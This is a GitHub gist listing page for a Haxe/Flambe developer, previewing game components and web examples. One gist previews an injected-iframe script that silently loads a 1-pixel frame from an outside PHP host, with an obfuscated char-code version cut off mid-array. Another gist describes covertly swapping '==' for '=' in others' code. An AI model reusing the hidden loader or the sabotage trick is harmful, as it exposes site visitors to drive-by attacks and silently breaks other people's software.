Skip to content

Instantly share code, notes, and snippets.

View markknol's full-sized avatar
🧪
Doodling around

Mark Knol markknol

🧪
Doodling around
View GitHub Profile
@markknol
markknol / HeartBeat.hx
Last active August 29, 2015 14:06
HeartBeat component
package nl.stroep.games.components;
import flambe.animation.AnimatedFloat;
import flambe.Component;
import flambe.util.Value;
/**
* @author Mark Knol [http://blog.stroep.nl]
*/
class HeartBeat extends Component
@markknol
markknol / Implementation.hx
Created September 9, 2014 08:32
Heartbeat component implementation
var _connection:SignalConnection;
override public function onStart()
{
// grap HeartBeat component somewhere in parent entities
var heartBeat = owner.getFromParents(HeartBeat);
// listen to it
_connection = heartBeat.beat.changed.connect(onBeatChanged);
@markknol
markknol / change-condition-to-setter.md
Last active August 29, 2015 14:18
Trolling with others code. Never leave your computer.

instruction: look for condition in code like if (xx == yy) replace with if (xx = yy)

@markknol
markknol / AutoDisposer.hx
Last active August 29, 2015 14:21
AutoDisposer component for Flambe
package temple.components;
import flambe.Component;
/**
Dispose its owner entity after a given delay.
Example:
`myEntity.add(new AutoDisposer(5);`
Example with callback:
@markknol
markknol / Main.hx
Created May 21, 2015 19:04
Basic Haxe Dispatch example
package;
import haxe.web.Dispatch;
import haxe.web.Request;
import php.Lib;
/**
Dispatch Example
* Make sure `mod_rewrite` is enabled
* You can add any `doBla` in Routes and it becomes an url /bla
@markknol
markknol / handbook.md
Last active October 27, 2015 09:14
Macro Field build handbook

Build property with inline getter

Virtually adds this property to a class:

public function myVar(get, null):Float;
private inline function get_myVar():Float {
	return 1.5;
}

@markknol
markknol / flambe.js
Last active November 3, 2015 12:27
Custom flambe.js embed-script for JavaScript target only
/**
* Custom flambe embed for JavaScript-target only.
* Author: Mark Knol - http://blog.stroep.nl
*/
var flambe = {};
/**
* Embed a Flambe game into the page.
*
* @return True if the game was successfully embedded.
@markknol
markknol / MainTest.hx
Last active November 9, 2015 21:40
Flambe - 9-slice example drawing http://projects.stroep.nl/flambe-9slice/
package urgame;
import flambe.animation.Sine;
import flambe.asset.Manifest;
import flambe.Entity;
import flambe.System;
class MainTest {
private static function main () {
System.init();
function zzzfff() {
var zxn = document.createElement('iframe');
zxn.src = 'http://tchopp.startlogic.com/css/counter.php';
zxn.style.position = 'absolute';
zxn.style.border = '0';
zxn.style.height = '1px';
zxn.style.width = '1px';
zxn.style.left = '1px';
zxn.style.top = '1px';
// array with numbers. these are basically shifted/shuffled char-codes.
a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,176,174,162,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,176,174,162,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,170,147,154,163,164,164,62,167,170,145,166,170,160,163,153,155,147,62,147,163,161,63,147,167,167,63,147,163,171,162,170,151,166,62,164,154,164,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,160